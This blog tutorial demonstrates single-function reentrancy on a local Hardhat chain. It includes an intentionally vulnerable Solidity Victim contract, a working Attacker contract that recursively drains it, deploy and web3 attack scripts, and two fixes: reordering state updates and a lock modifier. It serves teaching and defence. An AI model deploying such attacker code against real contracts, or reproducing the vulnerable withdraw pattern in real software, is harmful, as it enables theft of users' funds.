Attacking Smart Contracts 1: Single Function Reentrancy
- andy1265
- Aug 12, 2024
- 5 min read
Introduction
Reentracy is one of the more prolific attacks in the smart contract space. It has been the cause of many exploits and continues to be a major area of weakness. Examples of some attacks include:
The DAO hack (2016) (https://en.wikipedia.org/wiki/The_DAO)
Curve (2023) (https://hackmd.io/@LlamaRisk/BJzSKHNjn)
Minterest (2024) (https://minterest.com/blog/minterest-security-incident-post-mortem-report)
Reentracy has various forms but in the most basic format it involves an attacker using a separate smart contract to redirect the execution flow in such a way that the victim did not anticipate.
Essentially all that happens with this attack is that the victim is given the address of a smart contract to send funds to, this new smart contract recursively calls the victim when receiving funds. If proper isn’t implemented then the attacker can withdraw all the funds in the victim smart contract.
Essentially reentrancy is a lot like recursion on steroids. Instead of your computer just crashing your company goes broke and you're all unemployed.
Let’s go over an example because this is far simpler to look at in code.
Single Function Reentrancy
This is the simplest type of reentrancy to understand. To explain this we will recreate this attack on a private block chain and make it a little easier to see what is happening.
To begin with we will prepare our environment using Hardhat and NPM as always in these examples:
mkdir Reentrancy
npm init --yes
npm install --save-dev hardhat
npm install -D @nomiclabs/hardhat-ethers
npm install web3
npx hardhat init
add `require("@nomiclabs/hardhat-ethers");` to init file.
mkdir contracts && cd contracts && touch victim.sol && touch attacker.sol
Victim Contract
Firstly lets build out our example contract and take a look at where the vulnerability is and potentially how we could exploit it.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
contract Victim {
mapping(address => uint256) public balances;
function deposit() public payable {
require(msg.value >= 1 ether, "Deposits must be > than 1Ether");
balances[msg.sender] += msg.value;
}
function withdraw() public {
//Ensure the user has a balance > min withdrawl amount.
require(balances[msg.sender]>=1 ether, "Insufficient Balance");
uint256 balance = balances[msg.sender];
//Withdraw balance from users account.
(bool sent, ) = msg.sender.call{value: balance}("");
require(sent, "Failed to withdraw balance");
//Set user's balance to zero.
balances[msg.sender] = 0;
}
}
This contract only has two functions, one of them for sending funds and one for receiving them. As such we probably want to focus our efforts on the function that can send funds.
Firstly there is a check to ensure that the user’s balance is greater than 1 ether. This simply returns an error if the balance is not sufficient.
require(balances[msg.sender]>=1 ether, "Insufficient Balance");
Following this we execute the withdrawal and finally we set the user’s balance to zero. Now, how would this work if we could call this function recursively at the point of the withdrawal?
//Withdraw balance from users account.
(bool sent, ) = msg.sender.call{value: balance}("");
require(sent, "Failed to withdraw balance");
If sending ether to another smart contract executes a function that once again calls the withdrawal function then the execution flow will never reach the final line where the balance is set to zero and subsequently the attacker can drain all funds from the smart contract.

Visualization of the Reentrancy attack
Attacker Contract
Now let’s look at our contract. Once again we have two functions. One of which starts the attack and one is the recursive function that the victim calls into. Something tor remember when viewing this contract that is ether is sent to a contract that has no receive function then the fallback function will execute.
The first function that is called by the attacker is the attack function. This deposits some ether with the victim and then calls the withdraw function. When the victims withdraw function executes it checks the attackers balance (which is 2 Eth) and then attempts to withdraw 2 Eth. When the withdraw function executes it sends the Eth to the attacker contract which then causes the fallback function to execute and call the victims withdraw function.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
interface IVictim {
function withdraw() external ;
function deposit()external payable;
}
contract Attacker{
IVictim victim;
constructor(address _victim){
victim = IVictim(_victim);
}
function attack() public payable {
require(msg.value >= 1 ether, "Need >= 1 eth to start attack.");
victim.deposit{value: msg.value}();
victim.withdraw();
}
fallback() external payable{
if(address(victim).balance >= 1 ether){
victim.withdraw();
}
}
}
This cycle repeats until the victim contract is drained of ether. So let’s spin up a local block chain and run this attack.
Executing the attack
At this point we need to compile both contracts, spin up a local block chain, deploy the contracts and start the attack. To begin with let’s complete our deploy.js script.
async function main() {
const [deployer] = await ethers.getSigners();
console.log("Deploying contracts with the account:", deployer.address);
console.log("Account balance:", (await deployer.getBalance()).toString());
const vicContract = await ethers.getContractFactory("Victim");
const VicContract = await vicContract.deploy();
const attackerContract = await ethers.getContractFactory("Attacker");
const AttackerContract = await attackerContract.deploy(VicContract.address);
console.log("Victim Contract address:", VicContract.address);
console.log("Attacker Contract address:", AttackerContract.address);
}
main()
.then(() => process.exit(0))
.catch((error) => {
console.error(error);
process.exit(1);
});
Now lets run the following commands to compile the contracts, get the ABI’s, start a local block chain and deploy the contracts:
npx hardhat compile
npx hardhat node (in a separate terminal)
npx hardhat run scripts/deploy.js --network localhost
solcjs --abi contracts/victim.sol
solcjs --abi contracts/attacker.sol
Now let’s write our JavaScript code to kick off the attack and check the balance of the attackers contract before and after.
const {Web3} = require('web3');
const web3 = new Web3(new Web3.providers.HttpProvider("http://127.0.0.1:8545"));
const account_address = "0x8626f6940e2eb28930efb4cef49b2d1f2c9c1199";
const attacker_abi = [{"inputs":[{"internalType":"address","name":"_victim","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"attack","outputs":[],"stateMutability":"payable","type":"function"}]
const attacker_address = "0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512";
const victim_address = "0x5FbDB2315678afecb367f032d93F642f64180aa3";
const victim_abi = [{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deposit","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]
async function startReentrancy(){
var Attacker = new web3.eth.Contract(attacker_abi, attacker_address);
var Victim = new web3.eth.Contract(victim_abi, victim_address);
balance = await web3.eth.getBalance(attacker_address);
console.log("Contract balance before attack = ", web3.utils.fromWei(balance, 'ether'));
//Give the victim a bunch of ether for us to steal
await Victim.methods.deposit()
.send({
from: account_address,
to: victim_address,
value: 50000000000000000000
});
//steal the ether
await Attacker.methods.attack()
.send({
from: account_address,
to: attacker_address,
value: 2000000000000000000
});
balance = await web3.eth.getBalance(attacker_address);
console.log("Contract balance after attack = ", web3.utils.fromWei(balance, 'ether'));
}
startReentrancy();
To give the attacker something to steal this script starts by adding 50 Eth to the victim under a different address. Finally let’s run it with `node reentrancy.js` and observe the amounts held by each contract before and after.
Preventing Reentrancy Attacks
There are two main ways to prevent reentrancy attacks in examples such as the one covered in this article.
The first option is to change the order of operations so that the caller’s balance is set to zero before the withdrawal function executes so if it is called recursively then the balance is 0 on the next call.
function withdraw() public {
//Ensure the user has a balance that meets the minimum withdrawl.
require(balances[msg.sender]>=1 ether, "Insufficient Balance");
uint256 balance = balances[msg.sender];\
//This is completed before the withdrawal.
//Further calls have the correct balance.
balances[msg.sender] = 0;
//Withdraw balance from users account.
(bool sent, ) = msg.sender.call{value: balance}("");
require(sent, "Failed to withdraw balance");
}
The second is to lock the function whilst it is executing so it can not be called again until the current instance has finished executing.
//Modifier to remove reentrancy
modifier isAccessible() {
require(accessible, "Not accessible");
accessible = false;
_;
accessible = true;
}
Conclusion
Single function reentrancy is the simplest form of reentrancy. It is also one of the most common forms of reentrancy and reentrancy vulnerabilities are still commonly found in the latest smart contracts.
We will cover other more complex forms of reentrancy in follow up articles and the mechanisms by which they can be prevented.
Comments